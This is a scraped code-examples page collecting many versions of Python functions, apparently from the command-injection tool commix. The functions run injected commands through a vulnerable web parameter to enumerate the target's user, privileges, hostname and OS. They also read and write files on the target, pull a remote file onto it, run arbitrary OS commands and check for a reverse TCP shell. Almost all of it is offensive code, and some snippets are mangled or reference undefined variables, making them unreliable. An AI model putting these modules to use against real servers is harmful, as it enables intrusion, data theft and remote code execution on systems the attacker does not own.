コード例 #1
0
def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
  cmd = settings.CURRENT_USER
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
  cu_account = eb_injector.injection_results(response, TAG)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1]
    # Check if the user have super privileges.
    if menu.options.is_root:
      cmd = settings.ISROOT
      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
      shell = eb_injector.injection_results(response, TAG)
      if menu.options.verbose:
        print ""
      if shell:
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
        if shell != "0":
            sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
    else:
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
コード例 #2
0
ファイル: eb_file_access.py プロジェクト: veso266/commix
def file_write(separator, TAG, prefix, suffix, http_request_method, url,
               vuln_parameter, filename):
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
        sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '" +
                         file_to_write + "' file, does not exists." +
                         Style.RESET_ALL + "\n")
        sys.stdout.flush()
        sys.exit(0)

    if os.path.isfile(file_to_write):
        with open(file_to_write, 'r') as content_file:
            content = [line.replace("\n", " ") for line in content_file]
        content = "".join(str(p) for p in content).replace("'", "\"")
    else:
        sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" +
                         file_to_write + "' is not a file." + Style.RESET_ALL)
        sys.stdout.flush()

    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "":
        dest_to_write = os.path.split(
            menu.options.file_dest)[0] + "/" + os.path.split(
                menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_write = "/" + os.path.split(
            menu.options.file_dest)[1] + "/" + os.path.split(
                menu.options.file_write)[1]
    else:
        dest_to_write = menu.options.file_dest

    # Execute command
    cmd = settings.FILE_WRITE + " '" + content + "'" + " > " + "'" + dest_to_write + "'"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]

    # Check if file exists!
    cmd = "(ls " + dest_to_write + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     filename)
    shell = eb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]

    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "(!) The " + Style.UNDERLINE + shell +
                         Style.RESET_ALL + Style.BRIGHT +
                         " file was created successfully!" + Style.RESET_ALL +
                         "\n")
        sys.stdout.flush()
    else:
        sys.stdout.write(Fore.YELLOW +
                         "(^) Warning: It seems that you can't create the '" +
                         dest_to_write + "' file." + Style.RESET_ALL + "\n")
        sys.stdout.flush()
コード例 #3
0
def do_check(separator,TAG,prefix,suffix,http_request_method,url,vuln_parameter):
  
  #  Read file
  if menu.options.file_read:
    file_to_read = menu.options.file_read
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "(!) Contents of file " + colors.UNDERL + file_to_read + colors.RESET + " : ")
      sys.stdout.flush()
      print shell
    else:
     sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + colors.RESET)
     sys.stdout.flush()

  #  Write file
  if menu.options.file_write:
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
      sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_write + "' does not exists." + colors.RESET)
      sys.stdout.flush()
      sys.exit(0)
      
    if os.path.isfile(file_to_write):
      with open(file_to_write, 'r') as content_file:
	content = [line.replace("\n", " ") for line in content_file]
      content = "".join(str(p) for p in content).replace("'","\"")
    else:
      sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + colors.RESET)
      sys.stdout.flush()
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
    else:
      dest_to_write = menu.options.file_dest
    cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    cmd = "echo $(ls " + dest_to_write + ")"
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
      sys.stdout.flush()
    else:
     sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file.\n" + colors.RESET)
     sys.stdout.flush()
コード例 #4
0
def system_information(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename): 
  cmd = settings.RECOGNISE_OS            
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
  target_os = eb_injector.injection_results(response, TAG)
  if target_os:
    target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
    if menu.options.verbose:
      print ""
    if target_os == "Linux":
      cmd = settings.RECOGNISE_HP
      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
      target_arch = eb_injector.injection_results(response, TAG)
      if target_arch:
        if menu.options.verbose:
          print ""
        target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1)[:-1]
        sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
        sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("    (!) The target operating system is " + target_os)
        output_file.write(" and the hardware platform is " + target_arch + ".\n")
        output_file.close()    
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os + ".\n")
      output_file.close()
コード例 #5
0
ファイル: eb_enumeration.py プロジェクト: veso266/commix
def current_user(separator, TAG, prefix, suffix, http_request_method, url,
                 vuln_parameter, filename):
    cmd = settings.CURRENT_USER
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     filename)
    cu_account = eb_injector.injection_results(response, TAG)
    if cu_account:
        cu_account = "".join(str(p) for p in cu_account).replace(" ", "",
                                                                 1)[:-1]
        if menu.options.verbose:
            print ""
        # Check if the user have super privileges.
        if menu.options.is_root:
            cmd = settings.ISROOT
            response = eb_injector.injection(separator, TAG, cmd, prefix,
                                             suffix, http_request_method, url,
                                             vuln_parameter, filename)
            shell = eb_injector.injection_results(response, TAG)
            if menu.options.verbose:
                print ""
            if shell:
                shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
                sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                                 Style.UNDERLINE + cu_account +
                                 Style.RESET_ALL)
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write("    (!) The current user is " + cu_account)
                output_file.close()
                if shell != "0":
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.UNDERLINE + "not" +
                                     Style.RESET_ALL + Style.BRIGHT +
                                     " privilleged" + Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is not privilleged.\n")
                    output_file.close()
                else:
                    sys.stdout.write(Style.BRIGHT + " and it is " +
                                     Style.UNDERLINE + "" + Style.RESET_ALL +
                                     Style.BRIGHT + " privilleged" +
                                     Style.RESET_ALL + ".\n")
                    sys.stdout.flush()
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write(" and it is privilleged.\n")
                    output_file.close()
        else:
            sys.stdout.write(Style.BRIGHT + "(!) The current user is " +
                             Style.UNDERLINE + cu_account + Style.RESET_ALL +
                             ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The current user is " + cu_account +
                              "\n")
            output_file.close()
コード例 #6
0
def file_upload(separator, TAG, prefix, suffix, whitespace,
                http_request_method, url, vuln_parameter, alter_shell,
                filename, timesec):
    if settings.TARGET_OS == "win":
        # Not yet implemented
        pass
    else:
        file_to_upload = menu.options.file_upload
        # check if remote file exists.
        try:
            urllib2.urlopen(file_to_upload)
        except urllib2.HTTPError, err_msg:
            warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" + str(
                err_msg) + ")"
            sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
            sys.stdout.flush()
            sys.exit(0)

        # Check the file-destination
        if os.path.split(menu.options.file_dest)[1] == "":
            dest_to_upload = os.path.split(
                menu.options.file_dest)[0] + "/" + os.path.split(
                    menu.options.file_upload)[1]
        elif os.path.split(menu.options.file_dest)[0] == "/":
            dest_to_upload = "/" + os.path.split(
                menu.options.file_dest)[1] + "/" + os.path.split(
                    menu.options.file_upload)[1]
        else:
            dest_to_upload = menu.options.file_dest

        # Execute command
        cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        shell = eb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)

        # Check if file exists!
        if settings.TARGET_OS == "win":
            cmd = "dir " + dest_to_upload + ")"
        else:
            cmd = "echo $(ls " + dest_to_upload + ")"
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        shell = eb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell)
        if settings.VERBOSITY_LEVEL >= 1:
            print ""
        if shell:
            success_msg = "The " + shell
            success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
            sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
            sys.stdout.flush()
        else:
            warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
            sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
            sys.stdout.flush()
コード例 #7
0
ファイル: eb_enumeration.py プロジェクト: wigrus/commix
def system_information(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, delay):
    if settings.TARGET_OS == "win":
        settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
    cmd = settings.RECOGNISE_OS
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, delay)
        # Evaluate injection results.
        target_os = eb_injector.injection_results(response, TAG, cmd)
        target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
    else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_os:
        if settings.TARGET_OS == "win":
            cmd = settings.WIN_RECOGNISE_HP
        else:
            cmd = settings.RECOGNISE_HP
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
            # Perform target page reload (if it is required).
            if settings.URL_RELOAD:
                response = requests.url_reload(url, delay)
            # Evaluate injection results.
            target_arch = eb_injector.injection_results(response, TAG, cmd)
            target_arch = "".join(str(p)
                                  for p in target_arch).replace(" ", "",
                                                                1)[:-1]
            session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
        else:
            target_arch = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if target_arch:
            if settings.VERBOSITY_LEVEL >= 1:
                print ""
        success_msg = "The target operating system is " + target_os + Style.RESET_ALL
        success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
        sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        success_msg = "The target operating system is " + target_os
        success_msg += " and the hardware platform is " + target_arch + ".\n"
        output_file.write(
            re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
                "", settings.SUCCESS_SIGN) + success_msg)
        output_file.close()
    else:
        warn_msg = "Heuristics have failed to retrieve the system information."
        print settings.print_warning_msg(warn_msg)
コード例 #8
0
ファイル: eb_enumeration.py プロジェクト: CodeGuardian/commix
def do_check(separator,TAG,prefix,suffix,http_request_method,url,vuln_parameter):

  # Current user enumeration
  if menu.options.current_user:
    menu.options.verbose = False
    cmd = settings.CURRENT_USER
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell).replace(" ", "", 1)
      print "  (+) Current User : "******""

  # Is-root enumeration
  if menu.options.is_root:
    cmd = settings.ISROOT
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write( "  (+) Current user have root privs :")
      sys.stdout.flush()
      shell = "".join(str(p) for p in shell)
      if shell != "0":
	print colors.RED + " FALSE "+colors.RESET
      else:
	print colors.GREEN + " TRUE "+colors.RESET 

  # Hostname enumeration
  if menu.options.hostname:
    menu.options.verbose = False
    cmd = settings.HOSTNAME
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell).replace(" ", "", 1)
      print "  (+) Hostname : "+ colors.YELLOW + colors.BOLD +  shell + colors.RESET + ""

  # Single os-shell execution
  if menu.options.os_shell:
    cmd =  menu.options.os_shell
    response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
    shell = eb_injector.injection_results(response,TAG)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell).replace(" ", "", 1)
      print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
      sys.exit(0)
		
    
# eof
コード例 #9
0
ファイル: eb_enumeration.py プロジェクト: x3omdax/commix
def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.SYS_USERS = settings.WIN_SYS_USERS
    settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
    if alter_shell:
      settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
    else:  
      settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""  
  cmd = settings.CURRENT_USER
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
  cu_account = eb_injector.injection_results(response, TAG)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1]
    # Check if the user have super privileges.
    if menu.options.is_root or menu.options.is_admin:
      if settings.TARGET_OS == "win":
        cmd = settings.IS_ADMIN
        if not alter_shell:
          cmd = "\"" + cmd + "\"" 
      else:  
        cmd = settings.IS_ROOT 
      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
      shell = eb_injector.injection_results(response, TAG)
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account)
      output_file.close()
      if shell:
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
           (settings.TARGET_OS != "win" and shell != "0"):
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is not privileged.\n")
          output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privileged.\n")
          output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account + "\n")
      output_file.close()
コード例 #10
0
def system_information(separator, TAG, prefix, suffix, http_request_method,
                       url, vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
    cmd = settings.RECOGNISE_OS
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        target_os = eb_injector.injection_results(response, TAG)
        target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
    else:
        target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if target_os:
        if settings.TARGET_OS == "win":
            cmd = settings.WIN_RECOGNISE_HP
        else:
            cmd = settings.RECOGNISE_HP
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
            # Evaluate injection results.
            target_arch = eb_injector.injection_results(response, TAG)
            target_arch = "".join(str(p)
                                  for p in target_arch).replace(" ", "",
                                                                1)[:-1]
            session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
        else:
            target_arch = session_handler.export_stored_cmd(
                url, cmd, vuln_parameter)
        if target_arch:
            if menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT +
                             "(!) The target operating system is " +
                             Style.UNDERLINE + target_os + Style.RESET_ALL)
            sys.stdout.write(Style.BRIGHT + " and the hardware platform is " +
                             Style.UNDERLINE + target_arch + Style.RESET_ALL +
                             ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The target operating system is " +
                              target_os)
            output_file.write(" and the hardware platform is " + target_arch +
                              ".\n")
        output_file.close()
コード例 #11
0
def file_upload(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    # Not yet implemented
    pass
  else:
    file_to_upload = menu.options.file_upload
    # check if remote file exists.
    try:
      urllib2.urlopen(file_to_upload)
    except urllib2.HTTPError, err_msg:
      warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()
      sys.exit(0)
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
      dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
    else:
      dest_to_upload = menu.options.file_dest
      
    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload 
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    
    # Check if file exists!
    if settings.TARGET_OS == "win":
      cmd = "dir " + dest_to_upload + ")"
    else:  
      cmd = "echo $(ls " + dest_to_upload + ")"
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    if shell:
      success_msg = "The " +  shell
      success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" 
      sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
      sys.stdout.flush()
    else:
      warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
      sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
      sys.stdout.flush()
コード例 #12
0
def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = "(" + settings.FILE_READ + file_to_read + ")"
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()
コード例 #13
0
def hostname(separator, TAG, prefix, suffix, http_request_method, url,
             vuln_parameter, alter_shell, filename):
    if settings.TARGET_OS == "win":
        settings.HOSTNAME = settings.WIN_HOSTNAME
    cmd = settings.HOSTNAME
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     http_request_method, url, vuln_parameter,
                                     alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "(!) The hostname is " +
                         Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        output_file.write("    (!) The hostname is " + shell + ".\n")
        output_file.close()
コード例 #14
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    info_msg = "The hostname is " +  str(shell) + "."
    sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    info_msg = "The hostname is " + str(shell) + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print(settings.print_warning_msg(warn_msg))
コード例 #15
0
ファイル: eb_enumeration.py プロジェクト: wigrus/commix
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace,
                       http_request_method, url, vuln_parameter, alter_shell,
                       filename, delay):
    cmd = menu.options.os_cmd
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                     whitespace, http_request_method, url,
                                     vuln_parameter, alter_shell, filename)
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Perform target page reload (if it is required).
        if settings.URL_RELOAD:
            response = requests.url_reload(url, delay)
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG, cmd)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
    else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    if shell:
        if settings.VERBOSITY_LEVEL >= 1:
            print ""
        if shell != "":
            print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
        else:
            err_msg = "The '" + cmd + "' command, does not return any output."
            print settings.print_critical_msg(err_msg)
        sys.exit(0)
コード例 #16
0
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    success_msg = "The hostname is " +  shell + "."
    sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)
コード例 #17
0
def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace,
                  http_request_method, url, vuln_parameter, alter_shell,
                  filename, os_shell_option):
    if settings.EVAL_BASED_STATE != False:
        # Command execution results.
        start = time.time()
        response = eb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        end = time.time()
        diff = end - start
        # Evaluate injection results.
        shell = eb_injector.injection_results(response, TAG, cmd)
    else:
        whitespace = settings.WHITESPACE[0]
        # Command execution results.
        start = time.time()
        response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
                                         whitespace, http_request_method, url,
                                         vuln_parameter, alter_shell, filename)
        end = time.time()
        diff = end - start
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG, cmd)

    # if settings.VERBOSITY_LEVEL >= 1:
    #   print ""

    if settings.REVERSE_TCP and int(diff) <= 5:
        check_established_connection()

